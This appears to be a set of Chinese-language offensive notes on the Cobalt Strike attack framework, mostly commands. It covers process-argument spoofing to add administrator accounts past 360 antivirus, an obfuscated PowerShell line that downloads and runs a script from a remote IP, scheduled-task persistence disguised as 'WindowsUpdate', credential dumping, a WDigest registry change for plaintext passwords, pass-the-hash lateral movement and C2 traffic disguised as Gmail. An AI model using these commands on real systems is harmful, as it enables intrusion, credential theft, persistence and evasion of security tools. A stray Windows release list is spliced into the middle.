CobaltStrike安装
argue net1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
execute net1 user test test123 /add
execute net1 localgroup administrators test /add
argue 进程参数欺骗
argue [command] [fake arguments]
argue 命令 假参数 欺骗某个命令参数
argue [command]
argue 命令 取消欺骗某个命令参数
利用这个也可以绕过360添加用户(非核晶模式非x86)比如:
argue net1 /hello /hello /hello /hello /hello
run net1 user admin 123451 /add
注:假参数需要比真命令强
https://wbglil.gitbook.io/cobalt-strike/cobalt-strikeji-ben-shi-yong
explore->desktop
必须得当前用户有桌面才能使用,默认是隐身模式,不能操作,关闭隐身模式即可操作,不过有点慢,这个功能主要用来看管理员在干嘛,实战中一般不使用他来进行操作。
首先,用cs新建一个外部的监听:payload为http的
填好监听位置,端口,点击save
开启msf,使用exploit/multi/handler模块,设置payload为windows/meterpreter/reverse_http,然后设置监听端口与ip
注意:payload必须是和cs上设置的监听模块一致。
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 4444
run
beacon> spawn msf
首先在CS上新建一个内部监听。
首先在msf上面查看要上传会话的id(我这里是1)
background
sessions
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set session 1
set lhost 0.0.0.0
set lport 802
run
成功上线
参考
shell attrib C:\Windows\Temp\123.exe +s +h
添加计划任务
shell schtasks /create /tn WindowsUpdate /tr "C:\Windows\Temp\123.exe" /sc minute /mo 1
删除计划任务
schtasks /delete /tn WindowsUpdate
如果需要选择,自动选择y
shell schtasks /delete /tn WindowsUpdate /f
过360
set aa=powers&& set bb=hell && cmd /c "echo set-alias -name test -value IEX;test(New-Object NeT."W`ebC`li`ent")."D`own`l`oadStr`ing"('h'+'ttP://12'+'1.131.131.'+'190/123.txt') | %aa%%bb% -"
schtasks /create /tn WindowsUpdate /tr "C:\Users\win10_zyx_father\1.exe" /sc minute /mo 1
成功进程注入
可以参考:浅析内网横向移动-Pass The Hash
首先在Cobalt Strike执行
logonpasswords
在view——>credentials
里可以看到抓取到的账号密码
哈希传递攻击适用情况:
工作组环境
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击。
域环境中
只能是域管理员组内用户(可以是域管理员组内非administrator用户)
被攻击的机器需要开放445端口,而且用户名没有更改过
从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash。在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文,只能读取哈希值。虽然此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
然后使用cs的portscan
功能进行端口扫描以及主机发现,然后选择目标,右键
——>jump
——psexec_psh
,选择要传递的账号密码进行传递即可
注入:03之前使用psexec,2003之后使用psexec_psh
windows历史版本:
1985:Windows 1.0
1987:Windows 2.0
1990:Windows 3.0
1995:Windows 95
1998:Windows 98
2000:Windows ME/ Windows 2000 Server
2001:Windows XP
2003:Windows Server 2003
2005:Windows Server 2003 R2
2006:Windows Vista
2008:Windows Server 2008
2009:Windows 7/ Windows Server 2008 R2
2012:Windows 8/ Windows 8.1 / Windows Server 2012
2013:Windows Server 2012 R2
2015:Windows 10
2016:Windows Server 2016
2019:Windows Server 2019
2021:Windows 11
使用:
可以在启动cs服务端的时候,指定一个配置文件进行加载
./teamserver [external IP] [password] [/path/to/my.profile]
检查配置文件:
cobalt Strike提供了一个小程序C2lint,用来检查你编写的配置文件是否是可用的,是否有错误,这个程序会检查你的语法是否正确,并且会生成一个简单的交互过程让你预览,cobalt Strike强烈推荐你在正式使用之前用这个小程序来检查一下。
./c2lint [/path/to/my.profile]
编写配置文件
编写一个配置文件最好的方式就是根据现有的配置文件进行修改,现在提供一个github上面的C2-Profiles例子:
https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/gmail.profile
第一部分是证书信息
https-certificate {
set CN "gmail.com";
set O "Google GMail";
set C "US";
set L "Mountain View";
set OU "Google Mail";
set ST "CA";
set validity "365";
}
第二部分
set sleeptime "60000";
set pipename "interprocess_##";
set spawnto "userinit.exe";
set jitter "15";
set dns_idle "8.8.4.4";
解释如下:
然后就是http-get
和http-post
了,其实对应的就是cs中的这两个部分
例如:
http-get {
set uri "/fengxuan";
client {
metadata {
base64;
prepend "user=";
header "Cookie";
}
}
}
这个配置定义了在HTTP协议中Get请求的传输,第一句set uri
, 表示,在当请求/fengxuan
这个URL的时候,会执行以下的配置。
那么整段配置是什么意思呢?
就是在请求/fengxuan
这个地址的时候,http header中的 user字段里面的内容会进行base64加密然后再进行传输,从这个地址接受的返回包,http header中的 user字段会进行base64解密。